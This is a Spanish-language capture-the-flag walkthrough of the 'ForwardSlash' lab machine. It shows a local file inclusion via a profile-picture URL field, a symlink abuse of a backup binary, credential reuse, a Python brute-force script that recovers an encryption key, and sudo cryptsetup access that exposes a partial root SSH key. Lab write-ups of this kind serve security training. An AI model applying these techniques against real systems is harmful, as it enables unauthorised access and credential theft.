Resumen

Aprovechando la vulnerabilidad de Local File Inclusion, se pudo conocer una credencial de bajos privilegios, con esta y la explotación de un binario se pudo leer archivos que contenían otra credencial que permitió acceder con un usuario con el privilegio de acceder a una imagen de disco cifrada. Con Rockyou y Python se pudo obtener la clave para descifrar de la imagen de disco y acceder a la id_rsa de root.

Punto de Apoyo

Todo empieza con una enumeración convencional con NMAP.

Con gobuster vemos que hay un archivo note.txt

http://forwardslash.htb/note.txt

Chiv habla de un sitio de backup, para identificar este sitio se usaron las siguientes URLs en base a las formas más comunes de nombrar un sitio adicional en un mismo servidor.

http://forwardslash.htb/backup/

y

http://backup.forwardslash.htb/login.php

Siendo el último el que si funcionó.

Este sitio permite el registro de nuevos usuarios por lo que usamos este registro para ver si como un usuario registrado se puede encontrar el punto de apoyo.

Con las credenciales del usuario creado se inicia sesión y se puede visualizar este sitio.

En la opción «Change Your Profile Picture» se puede ver que el sitio permite la inclusión de una imagen colocando la URL, esto podría permitir un LFI.

Si bien el cuadro de texto está deshabilitado, fácilmente se puede habilitar con las herramientas de inspección del mismo navegador, quitando el atributo «disabled» en el cuadro.

Si volvemos a los resultados de gobuster se pudo identificar un directorio denominado /dev/ que por el mensaje de restricción aparentemente tendría una lista de control de acceso.

Por lo que se podría aprovechar el cuadro de texto que habilitamos para leer archivos que estén en el directorio dev, esto porque si lo hacemos a través de la vulnerabilidad de LFI el servidor detectará como la ip de origen de conexión la ip 127.0.0.1 por lo tanto permitirá el acceso.

Más información de como explotar LFI:

http://www.securityidiots.com/Web-Pentest/LFI/

Con el uso de burpsuite se pudo extraer información valiosa de /dev.

Request:

POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://backup.forwardslash.htb/profilepicture.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Connection: close
Cookie: PHPSESSID=1c9thf6udklp70ku4k15co052e
Upgrade-Insecure-Requests: 1

Response

HTTP/1.1 200 OK
Date: Sat, 04 Jul 2020 15:52:58 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 3361
Connection: close
Content-Type: text/html; charset=UTF-8



PD9waHAKLy9pbmNsdWRlX29uY2UgLi4vc2Vzc2lvbi5waHA7Ci8vIEluaXRpYWxpemUgdGhlIHNlc3Npb24Kc2Vzc2lvbl9zdGFydCgpOwoKaWYoKCFpc3NldCgkX1NFU1NJT05bImxvZ2dlZGluIl0pIHx8ICRfU0VTU0lPTlsibG9nZ2VkaW4iXSAhPT0gdHJ1ZSB8fCAkX1NFU1NJT05bJ3VzZXJuYW1lJ10gIT09ICJhZG1pbiIpICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICE9PSAiMTI3LjAuMC4xIil7CiAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwMyBGb3JiaWRkZW4nKTsKICAgIGVjaG8gIjxoMT40MDMgQWNjZXNzIERlbmllZDwvaDE+IjsKICAgIGVjaG8gIjxoMz5BY2Nlc3MgRGVuaWVkIEZyb20gIiwgJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10sICI8L2gzPiI7CiAgICAvL2VjaG8gIjxoMj5SZWRpcmVjdGluZyB0byBsb2dpbiBpbiAzIHNlY29uZHM8L2gyPiIKICAgIC8vZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMzt1cmw9Li4vbG9naW4ucGhwIiAvPic7CiAgICAvL2hlYWRlcigibG9jYXRpb246IC4uL2xvZ2luLnBocCIpOwogICAgZXhpdDsKfQo/Pgo8aHRtbD4KCTxoMT5YTUwgQXBpIFRlc3Q8L2gxPgoJPGgzPlRoaXMgaXMgb3VyIGFwaSB0ZXN0IGZvciB3aGVuIG91ciBuZXcgd2Vic2l0ZSBnZXRzIHJlZnVyYmlzaGVkPC9oMz4KCTxmb3JtIGFjdGlvbj0iL2Rldi9pbmRleC5waHAiIG1ldGhvZD0iZ2V0IiBpZD0ieG1sdGVzdCI+CgkJPHRleHRhcmVhIG5hbWU9InhtbCIgZm9ybT0ieG1sdGVzdCIgcm93cz0iMjAiIGNvbHM9IjUwIj48YXBpPgogICAgPHJlcXVlc3Q+dGVzdDwvcmVxdWVzdD4KPC9hcGk+CjwvdGV4dGFyZWE+CgkJPGlucHV0IHR5cGU9InN1Ym1pdCI+Cgk8L2Zvcm0+Cgo8L2h0bWw+Cgo8IS0tIFRPRE86CkZpeCBGVFAgTG9naW4KLS0+Cgo8P3BocAppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICJHRVQiICYmIGlzc2V0KCRfR0VUWyd4bWwnXSkpIHsKCgkkcmVnID0gJy9mdHA6XC9cL1tcc1xTXSpcL1wiLyc7CgkvLyRyZWcgPSAnLygoKCgyNVswLTVdKXwoMlswLTRdXGQpfChbMDFdP1xkP1xkKSkpXC4pezN9KCgoKDI1WzAtNV0pfCgyWzAtNF1cZCl8KFswMV0/XGQ/XGQpKSkpLycKCglpZiAocHJlZ19tYXRjaCgkcmVnLCAkX0dFVFsneG1sJ10sICRtYXRjaCkpIHsKCQkkaXAgPSBleHBsb2RlKCcvJywgJG1hdGNoWzBdKVsyXTsKCQllY2hvICRpcDsKCQllcnJvcl9sb2coIkNvbm5lY3RpbmciKTsKCgkJJGNvbm5faWQgPSBmdHBfY29ubmVjdCgkaXApIG9yIGRpZSgiQ291bGRuJ3QgY29ubmVjdCB0byAkaXBcbiIpOwoKCQllcnJvcl9sb2coIkxvZ2dpbmcgaW4iKTsKCgkJaWYgKEBmdHBfbG9naW4oJGNvbm5faWQsICJjaGl2IiwgJ04wYm9keUwxa2VzQmFjay8nKSkgewoKCQkJZXJyb3JfbG9nKCJHZXR0aW5nIGZpbGUiKTsKCQkJZWNobyBmdHBfZ2V0X3N0cmluZygkY29ubl9pZCwgImRlYnVnLnR4dCIpOwoJCX0KCgkJZXhpdDsKCX0KCglsaWJ4bWxfZGlzYWJsZV9lbnRpdHlfbG9hZGVyIChmYWxzZSk7CgkkeG1sZmlsZSA9ICRfR0VUWyJ4bWwiXTsKCSRkb20gPSBuZXcgRE9NRG9jdW1lbnQoKTsKCSRkb20tPmxvYWRYTUwoJHhtbGZpbGUsIExJQlhNTF9OT0VOVCB8IExJQlhNTF9EVERMT0FEKTsKCSRhcGkgPSBzaW1wbGV4bWxfaW1wb3J0X2RvbSgkZG9tKTsKCSRyZXEgPSAkYXBpLT5yZXF1ZXN0OwoJZWNobyAiLS0tLS1vdXRwdXQtLS0tLTxicj5cclxuIjsKCWVjaG8gIiRyZXEiOwp9CgpmdW5jdGlvbiBmdHBfZ2V0X3N0cmluZygkZnRwLCAkZmlsZW5hbWUpIHsKICAgICR0ZW1wID0gZm9wZW4oJ3BocDovL3RlbXAnLCAncisnKTsKICAgIGlmIChAZnRwX2ZnZXQoJGZ0cCwgJHRlbXAsICRmaWxlbmFtZSwgRlRQX0JJTkFSWSwgMCkpIHsKICAgICAgICByZXdpbmQoJHRlbXApOwogICAgICAgIHJldHVybiBzdHJlYW1fZ2V0X2NvbnRlbnRzKCR0ZW1wKTsKICAgIH0KICAgIGVsc2UgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KfQoKPz4K

Si hacemos una decodificación de Base64 de la respuesta obtenemos lo siguiente:

(@ftp_login($conn_id, «chiv», ‘N0bodyL1kesBack/’))

Obteniendo User

Con las credenciales de chiv es posible acceder por SSH.

Una vez dentro de forwardslash se pudo hacer una enumeración de los archivos, y se identificó un binario /usr/bin/backup, con este binario se puede ver archivos del usuario pain.

Cuando se ejecuta el binario, este busca un archivo con el nombre igual a esto: md5sum(HH:MM:SS) hora, minutos y segundos de cuando se ejecuta. Por lo que creando un enlace simbólico a /home/pain/user.txt con el nombre de la hora minuto y segundo de cuando se ejecutará el binario «backup» y listo. La hora minuto y segundo es en el futuro, de tal manera que se ejecute el binario hasta que se cumpla esta hora minuto y segundo y se muestre el archivo. Existe una forma de hacerlo todo en una sola linea (para no poner una hora en el futuro ) pero yo lo hice así en el momento que resolví la máquina. Con estos comandos mostró user.txt.

chiv@forwardslash:~$ ln -s /home/pain/user.txt 225*************************ba09
chiv@forwardslash:~$ backup

De la misma manera se pudo ver un archivo config.php.bak.

chiv@forwardslash:~$ ln -s /var/backups/config.php.bak

Donde se muestra lo siguiente:

Current Time: 18:10:30
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user ‘root’ with no password) */
define(‘DB_SERVER’, ‘localhost’);
define(‘DB_USERNAME’, ‘pain’);
define(‘DB_PASSWORD’, ‘db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704’);
define(‘DB_NAME’, ‘site’);

/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);

// Check connection
if($link === false){
die(«ERROR: Could not connect. » . mysqli_connect_error());
}
?>

Con estas credenciales se pudo acceder como el usuario pain.

su – pain
Password: db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704
pain@forwardslash:~$

En el directorio de pain podemos ver que hay una nota que habla de Chiv cifró archivos importantes.


Además existe un directorio llamado encryptorinator donde hay un script de python con dos funciones, una para cifrar y otra para decifrar, además de un archivo con texto cifrado.

Con rockyou y un script de python se pudo llegar a la clave de cifrado.

from multiprocessing import Process

def encrypt(key, msg):

    key = list(key)

    msg = list(msg)

    for char_key in key:

        for i in range(len(msg)):

            if i == 0:

                tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])

            else:

                tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])

            while tmp > 255:

                tmp -= 256

            msg[i] = chr(tmp)

    return ».join(msg)

def decrypt(key, msg):

    key = list(key)

    msg = list(msg)

    for char_key in reversed(key):

        for i in reversed(range(len(msg))):

            if i == 0:

                tmp = ord(msg[i]) – (ord(char_key) + ord(msg[-1]))

            else:

                tmp = ord(msg[i]) – (ord(char_key) + ord(msg[i-1]))

            while tmp < 0:

                tmp += 256

            msg[i] = chr(tmp)

    return ».join(msg)

def brute_force_job(words, start, end, job):

    enc_file = open(‘ciphertext’, ‘rb’)

    enc_text = enc_file.read()

    for index in range(start, end):

        key = words[index].strip()

        dec = decrypt(key, enc_text)

print(dec)

      def brute_force(wordlist_path, cpu = 8):

    wordlist = open(wordlist_path, ‘r’)

    words = wordlist.readlines()

    chunk_size = len(words) / cpu

    curr_start = 0

    curr_end = curr_start + chunk_size

    for c in range(cpu):

        if c == cpu – 1:

            curr_end = len(words)

        p = Process(target=brute_force_job, args=(words, curr_start, curr_end, c))

        p.start()

        curr_start = curr_end

        curr_end = curr_end + chunk_size

if __name__ == ‘__main__’:

    brute_force(‘rockyou.txt’, 2)

python decrypt_final.py > out.txt

 strings out.txt |grep backup                                                                                      

you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf

Obteniendo Root

Como parte de la enumeración para la escalada de privilegios, se pudo ver los comandos que el usuario pain puede ejecutar como super usuario.

En la enumeración también se pudo encontrar el archivo encrypted_backup.img que al parecer es una imagen de disco cifrada.

Si unimos las tres cosas encontradas en la enumeración, podríamos acceder a información muy jugosa.

  1. El usuario pain puede usar como super usuario la utilidad de cifrado de discos con LUKS.
  2. Hay una imagen cifrada.
  3. Hay una clave de cifrado.

Naturalmente se usará la clave de cifrado para descifrar la imagen del disco y montar esa imagen para acceder a su contenido.

pain@forwardslash:/var/backups/recovery$ sudo /sbin/cryptsetup luksOpen encrypted_backup.img backup
Enter passphrase for encrypted_backup.img:
pain@forwardslash:/var/backups/recovery$ cd /tmp/
pain@forwardslash:/tmp$ sudo /bin/mount /dev/mapper/backup ./mnt/
pain@forwardslash:/tmp$ cd mnt/
pain@forwardslash:/tmp/mnt$ ls
id_rsa
pain@forwardslash:/tmp/mnt$ cat id_rsa
—–BEGIN RSA PRIVATE KEY—–
MIIEowIBAAKCAQEA9i/r8VGof1vpIV6rhNE9hZfBDd3u6S16uNYqLn+xFgZEQBZK
RKh+WDykv/gukvUSauxWJndPq3F1Ck0xbcGQu6+1OBYb+fQ0B8raCRjwtwYF4gaf
yLFcOS111mKmUIB9qR1wDsmKRbtWPPPvgs2ruafgeiHujIEkiUUk9f3WTNqUsPQc
u2AG//ZCiqKWcWn0CcC2EhWsRQhLOvh3pGfv4gg0Gg/VNNiMPjDAYnr4iVg4XyEu
NWS2x9PtPasWsWRPLMEPtzLhJOnHE3iVJuTnFFhp2T6CtmZui4TJH3pij6wYYis9
MqzTmFwNzzx2HKS2tE2ty2c1CcW+F3GS/rn0EQIDAQABAoIBAQCPfjkg7D6xFSpa
V+rTPH6GeoB9C6mwYeDREYt+lNDsDHUFgbiCMk+KMLa6afcDkzLL/brtKsfWHwhg
G8Q+u/8XVn/jFAf0deFJ1XOmr9HGbA1LxB6oBLDDZvrzHYbhDzOvOchR5ijhIiNO
3cPx0t1QFkiiB1sarD9Wf2Xet7iMDArJI94G7yfnfUegtC5y38liJdb2TBXwvIZC
vROXZiQdmWCPEmwuE0aDj4HqmJvnIx9P4EAcTWuY0LdUU3zZcFgYlXiYT0xg2N1p
MIrAjjhgrQ3A2kXyxh9pzxsFlvIaSfxAvsL8LQy2Osl+i80WaORykmyFy5rmNLQD
Ih0cizb9AoGBAP2+PD2nV8y20kF6U0+JlwMG7WbV/rDF6+kVn0M2sfQKiAIUK3Wn
5YCeGARrMdZr4fidTN7koke02M4enSHEdZRTW2jRXlKfYHqSoVzLggnKVU/eghQs
V4gv6+cc787HojtuU7Ee66eWj0VSr0PXjFInzdSdmnd93oDZPzwF8QUnAoGBAPhg
e1VaHG89E4YWNxbfr739t5qPuizPJY7fIBOv9Z0G+P5KCtHJA5uxpELrF3hQjJU8
6Orz/0C+TxmlTGVOvkQWij4GC9rcOMaP03zXamQTSGNROM+S1I9UUoQBrwe2nQeh
i2B/AlO4PrOHJtfSXIzsedmDNLoMqO5/n/xAqLAHAoGATnv8CBntt11JFYWvpSdq
………….
—–END RSA PRIVATE KEY—–
pain@forwardslash:/tmp/mnt$

Con esa id_rsa se puede acceder como root.